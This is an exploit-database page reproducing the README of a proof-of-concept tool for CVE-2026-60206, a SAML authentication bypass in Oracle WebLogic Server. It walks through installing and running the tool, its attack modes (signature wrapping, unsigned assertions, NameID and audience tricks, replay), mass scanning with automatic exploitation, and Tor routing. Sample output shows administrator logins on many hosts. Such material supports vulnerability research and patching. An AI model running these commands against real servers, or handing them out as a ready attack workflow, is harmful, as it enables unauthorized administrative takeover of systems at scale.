Exploit for CVE-2026-60206

Name: Exploit for CVE-2026-60206
Rating: 5 (9 reviews)
2026-07-25 | CVSS 9.9
## https://sploitus.com/exploit?id=F20C4C47-B9C1-5A9C-9401-63001E2EF695
# CVE-2026-60206 – Oracle WebLogic Server SAML Authentication Bypass PoC

This repository provides a proof‑of‑concept exploit for **CVE‑2026‑60206**, a critical authentication bypass vulnerability in the SAML implementation of Oracle WebLogic Server. The flaw allows a remote, low‑privileged attacker to completely compromise the server by forging SAML assertions.
[![CVSS](https://img.shields.io/badge/CVSS-9.9-red)](https://nvd.nist.gov/vuln/detail/CVE-2026-60206)

> **⚠️ Disclaimer:** This tool is intended for **authorized security research and testing only**. Use it only against systems you own or have explicit permission to test. The authors assume no liability for misuse.





## 🔥 Vulnerability Overview

**CVE-2026-60206** affects the Core component of Oracle WebLogic Server. The vulnerability stems from improper authentication handling in the SAML protocol implementation. Multiple attack vectors—such as XML Signature Wrapping (XSW), unsigned assertion acceptance, NameID manipulation, and audience/conditions bypass—allow an attacker to impersonate arbitrary users (e.g., `weblogic`) and gain administrative access.

**Affected Versions:**
- 12.2.1.4.0
- 14.1.1.0.0
- 14.1.2.0.0
- 15.1.1.0.0

The PoC implements the following attack vectors:
- **XML Signature Wrapping (XSW)** – structural manipulation to make the SAML processor accept an unsigned assertion.
- **Unsigned Assertion Injection** – craft a completely unsigned SAML response (if `WantAssertionsSigned` is not enforced).
- **NameID Manipulation** – confuse the identity mapper via XML comments, whitespace, or format confusion.
- **Audience Restriction Bypass** – remove or modify `AudienceRestriction` to broaden scope.
- **Conditions/Time Bypass** – manipulate `NotBefore`/`NotOnOrAfter` to bypass validity checks.
- **Combined Attack** – XSW + unsigned inner assertion + NameID manipulation (most likely to succeed).
- **Replay** – replay a captured SAML response with modified destination/recipient.

## ✨ Features

- **Multiple attack modes** – select from `all`, `unsigned`, `xsw`, `nameid`, `audience`, `conditions`, `combo`, or `replay`.
- **Mass scanning** – concurrent detection and optional exploitation across many targets (via `-l`).
- **Version detection** – accurately fingerprint WebLogic version via headers, error pages, and WSDL.
- **SAML endpoint probing** – automatically discover SAML ACS, metadata, and SP‑initiated endpoints.
- **Tor support** – route traffic through Tor (SOCKS5/HTTP/SOCKS4) for anonymity.
- **Raw HTTP request replay** – send arbitrary raw HTTP requests from a file (`-r`).
- **HTTP/2 support** – automatically uses `httpx` if installed, falls back to `requests` (HTTP/1.1).
- **User‑Agent rotation** – use a random or custom User‑Agent.
- **Proxy support** – send all requests through an HTTP/SOCKS proxy.
- **Request customisation** – set timeouts, retries, delays, disable redirects, and retry on regex pattern.
- **Payload saving** – save generated SAML payloads to disk (`--save-payloads`).
- **Vulnerability check** (`-c` / `--check`) – quickly determine if a target is vulnerable (non‑exploit).
- **JSON/CSV report output** – structured results for mass scans.
- **Verbose logging** – detailed debug output with coloured console.

## 📦 Installation

```bash
git clone https://github.com/Debajyoti0-0/CVE-2026-60206.git
cd CVE-2026-60206
pip install -r requirements.txt
```

**Required:** `requests`, `urllib3`

**Optional (improves functionality):**
- `httpx` – for HTTP/2 support
- `lxml` – for enhanced SAML parsing
- `signxml`, `cryptography` – for signature handling (not required for exploitation)

## 🚀 Usage

### Single target – detect only
```bash
python CVE-2026-60206.py -t https://192.168.1.100:7002 --detect
```

### Single target – run all attack vectors
```bash
python CVE-2026-60206.py -t https://192.168.1.100:7002 --mode all -u weblogic
```

### Single target – specific attack mode
```bash
python CVE-2026-60206.py -t https://192.168.1.100:7002 --mode combo -u admin
```

### Mass scan – detect versions from file
```bash
python CVE-2026-60206.py -l targets.txt -o results.json
```

### Mass scan – detect + exploit
```bash
python CVE-2026-60206.py -l targets.txt --exploit -o results.csv --threads 20
```

### Replay a captured SAML response
```bash
python CVE-2026-60206.py -t https://192.168.1.100:7002 --mode replay --replay-file captured.xml
```

### Use Tor and check connectivity
```bash
python CVE-2026-60206.py -t https://192.168.1.100:7002 --tor --check-tor
```

### Send a raw HTTP request from file
```bash
python CVE-2026-60206.py -t https://192.168.1.100:7002 -r request.txt --method POST
```

### Quick vulnerability check (non‑exploit)
```bash
python CVE-2026-60206.py -t https://192.168.1.100:7002 -c
```

## ⚙️ Flags Reference

### Options:
| Flag | Description |
|------|-------------|
| `-h, --help` | Show help message and exit. |
| `--proxy PROXY` | Proxy URL (overridden by `--tor` if used). |
| `--no-verify` | Disable SSL certificate verification. |
| `--cookie COOKIE` | Session cookie(s) (e.g., `name=value; name2=value2`). |
| `--auth AUTH` | Basic authentication credentials (`USER:PASS`). |

### Target:
| Flag | Description |
|------|-------------|
| `-t, --target TARGET` | Single target URL (e.g., `https://host:7002`). |
| `-l, --list LIST` | Target list file for mass scan, or single URL. |
| `-f, --file FILE` | Alias for `--list`. |

### Request Options:
| Flag | Description |
|------|-------------|
| `-r, --requestfile REQUESTFILE` | Load raw HTTP request from file (replaces SAML attacks). |
| `--method METHOD` | HTTP method to use (for raw request or single request; default: `GET`). |
| `--random-agent` | Use a random User‑Agent from built‑in list. |
| `-A, --user-agent USER_AGENT` | Custom User‑Agent header value. |
| `--tor` | Use Tor anonymity network (SOCKS5 by default). |
| `--tor-port TOR_PORT` | Tor proxy port (default: `9050`). |
| `--tor-type {HTTP,SOCKS4,SOCKS5}` | Tor proxy type (default: `SOCKS5`). |
| `--check-tor` | Check if Tor is used properly (exits with verdict). |
| `--delay DELAY` | Delay in seconds between each request. |
| `--timeout TIMEOUT` | Timeout in seconds (default: `30`). |
| `--retries RETRIES` | Number of retries on timeout/errors (default: `3`). |
| `--retry-on RETRY_ON` | Retry request if response content matches regex (e.g., `'captcha'`). |
| `-dr, --disable-redirects` | Disable following HTTP redirects. |

### Attack Configuration:
| Flag | Description |
|------|-------------|
| `-m, --mode {all,detect,unsigned,xsw,nameid,audience,conditions,combo,replay}` | Attack mode (default: `all`). |
| `--detect` | Detect WebLogic version and SAML config only (no attack). |
| `-c, --check` | Quick vulnerability check (detect only, exit with verdict). |
| `-u, --user USER` | Target user to impersonate (default: `weblogic`). |
| `--groups GROUPS` | Groups to include in SAML assertion (default: `Administrators,Monitors`). |
| `--issuer ISSUER` | SAML Issuer Entity ID. |
| `--audience AUDIENCE` | SAML Audience Entity ID. |
| `--relay-state RELAY_STATE` | RelayState parameter for SAML POST. |
| `--base64` | Base64‑encode the SAML response in POST. |
| `--extra-attrs [NAME=VALUE ...]` | Extra SAML attributes (e.g., `role=admin`). |
| `--replay-file REPLAY_FILE` | Path to captured SAML response for replay. |
| `--save-payloads` | Save generated SAML payloads to `./payloads/`. |
| `--continue-on-success` | Continue testing after a successful attack. |

### Mass Scan (with `-l`):
| Flag | Description |
|------|-------------|
| `--exploit` | Test unsigned SAML assertion (default: detect only). |
| `-T, --threads THREADS` | Concurrent threads (default: `10`). |

### Output:
| Flag | Description |
|------|-------------|
| `-v, --verbose` | Increase verbosity (debug output). |
| `-q, --quiet` | Suppress non‑essential output. |
| `--list-modes` | List all attack modes with descriptions and exit. |
| `-o, --output OUTPUT` | Write JSON or CSV report to file. |

## 🧪 Modes in Detail

### `detect`
Performs version detection and SAML endpoint probing. No attack is launched.

### `unsigned`
Injects a completely unsigned SAML assertion. If the target does not enforce `WantAssertionsSigned`, this bypasses authentication entirely.

**Variants:** `unsigned` (default), `unsigned_stripped` (removes all signature references).

### `xsw` (XML Signature Wrapping)
Places a malicious unsigned assertion before (or wrapping) a valid signed assertion. The SAML processor may pick the first assertion while the signature validator checks the signed one.

**Variants:** `xsw1` (simple prepend), `xsw2` (same ID as original), `xsw3` (nested wrapper), `xsw4` (sibling).

### `nameid`
Manipulates the `NameID` field to confuse WebLogic’s identity mapper, allowing impersonation of a different user.

**Variants:** `comment_injection`, `whitespace`, `format_confusion`, `xpath_injection`.

### `audience`
Bypasses `AudienceRestriction` checks by removing or modifying the audience element.

**Variants:** `remove_audience`, `wildcard_audience`, `extra_audience`.

### `conditions`
Bypasses time‑based restrictions (e.g., `NotBefore`, `NotOnOrAfter`).

**Variants:** `future_timestamp`, `expired_timestamp`, `remove_conditions`, `infinite_validity`.

### `combo`
Combines XSW, unsigned assertion, and NameID manipulation into one payload – the most likely vector for full compromise.

**Variants:** `combo_full` (with comment injection), `combo_stealth` (with newline).

### `replay`
Replays a previously captured SAML response, optionally modifying the destination or removing audience restrictions.

**Variants:** `replay_modified` (adjusts Destination/Recipient), `replay_cross_sp` (removes audience restrictions).

## 📝 Example Workflow (Single Target Exploitation)

```bash
$ python CVE-2026-60206.py -t https://192.168.1.100:7002 -u weblogic --mode combo

  ╔══════════════════════════════════════════════════════════════════════╗
  ║       CVE-2026-60206 — WebLogic SAML Authentication Bypass PoC       ║
  ║         Oracle WebLogic Server Core | CVSS 9.9 | CWE-287             ║
  ╚══════════════════════════════════════════════════════════════════════╝

🔍 Detecting WebLogic version and SAML configuration...
  Detected WebLogic version: 12.2.1.4.0
  ⚠️  Version 12.2.1.4.0 is IN SCOPE for CVE-2026-60206!
  Found SAML metadata: /saml2/sp/metadata
  Found SAML ACS: /saml2/sp/acs (HTTP 200)

============================================================
🚀 Starting comprehensive SAML attack suite
   Target: https://192.168.1.100:7002
   Target User: weblogic
============================================================

── Attack 1/2 ──
🎯 [combo/combo_full] Launching combined attack for: weblogic
✅ [combo/combo_full] Authentication bypass SUCCEEDED! Logged in as: weblogic
   ACS Endpoint: /saml2/sp/acs

── Attack 2/2 ──
🎯 [combo/combo_stealth] Launching combined attack for: weblogic
✅ [combo/combo_stealth] Authentication bypass SUCCEEDED! Logged in as: weblogic
   ACS Endpoint: /saml2/sp/acs

============================================================
📊 Results: 2/2 attack vectors succeeded
============================================================

 EXPLOIT SUCCESSFUL! 2 attack(s) bypassed authentication.
   - [combo/combo_full] → logged in as 'weblogic' via /saml2/sp/acs
   - [combo/combo_stealth] → logged in as 'weblogic' via /saml2/sp/acs
📄 Report saved: logs/report_20260725_123456.json
```

## 📝 Example Workflow (Mass Scan)

```bash
$ python CVE-2026-60206.py -l targets.txt --exploit -o scan_results.csv --threads 10

============================================================
  CVE-2026-60206 Mass Scanner
  Targets: 50
  Threads: 10
  Mode:    Exploit
============================================================

  [10/50] 20.0% | Vuln:3 | Pwned:1 | 1.2 tgt/s  
  [!] VULN: https://10.0.0.5:7002 (12.2.1.4.0)
  [!!] PWNED: https://10.0.0.5:7002 - logged in as weblogic
  ... (continues) ...

============================================================
  SCAN SUMMARY
============================================================
  Total targets:   50
  Reachable:       45
  WebLogic:        12
  Vuln version:    8
  Exploited:       3
  Duration:        42.5s
============================================================

  [!!] SUCCESSFULLY EXPLOITED:
    https://10.0.0.5:7002 → weblogic via /saml2/sp/acs
    https://10.0.0.10:7002 → weblogic via /saml2/sp/acs
    https://10.0.0.15:7002 → weblogic via /saml2/sp/acs

  [!] VULNERABLE VERSIONS (not yet exploited):
    https://10.0.0.20:7002 (14.1.1.0.0)
    https://10.0.0.25:7002 (15.1.1.0.0)
    ... (truncated)
```

## 🛠️ Building a Vulnerable Test Environment

To test this PoC safely, set up a WebLogic Server with SAML enabled and one of the affected versions. For example, you can use Docker:

```bash
# Example (simplified – use official Oracle WebLogic images with SAML configuration)
docker run -p 7002:7002 oracle/weblogic:12.2.1.4.0
# Then configure SAML via WebLogic console or scripts
```

The SAML configuration must include at least one SAML 2.0 Service Provider with an ACS endpoint (e.g., `/saml2/sp/acs`) and metadata published.

## 🔗 References

- [Oracle July 2026 Critical Patch Update Advisory](https://www.oracle.com/security-alerts/cpujul2026.html)
- [CVE-2026-60206 Detail – NIST NVD](https://nvd.nist.gov/vuln/detail/CVE-2026-60206)
- [CWE-287: Improper Authentication](https://cwe.mitre.org/data/definitions/287.html)
- [SAML 2.0 Security Analysis – XML Signature Wrapping](https://www.usenix.org/legacy/event/sec12/tech/full_papers/Somorovsky.pdf)

## 📜 License

This project is licensed under the GNU v3.0 License – see the [LICENSE](LICENSE) file for details.

## 🤝 Contributing

Issues and pull requests are welcome. Please ensure your contributions adhere to the same ethical usage guidelines.

> **Remember:** Always obtain proper authorisation before testing any security tool. Stay ethical!